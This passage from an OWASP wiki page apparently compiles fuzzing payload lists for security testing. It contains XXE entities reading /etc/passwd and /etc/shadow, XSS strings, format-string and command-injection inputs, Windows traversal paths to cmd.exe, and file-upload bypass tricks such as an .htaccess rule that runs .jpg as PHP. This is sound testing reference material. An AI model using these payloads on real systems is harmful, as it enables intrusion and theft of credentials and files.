&quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80072 2010-03-17T20:58:59Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2009 - notes */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Windows Directory Traversal (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> 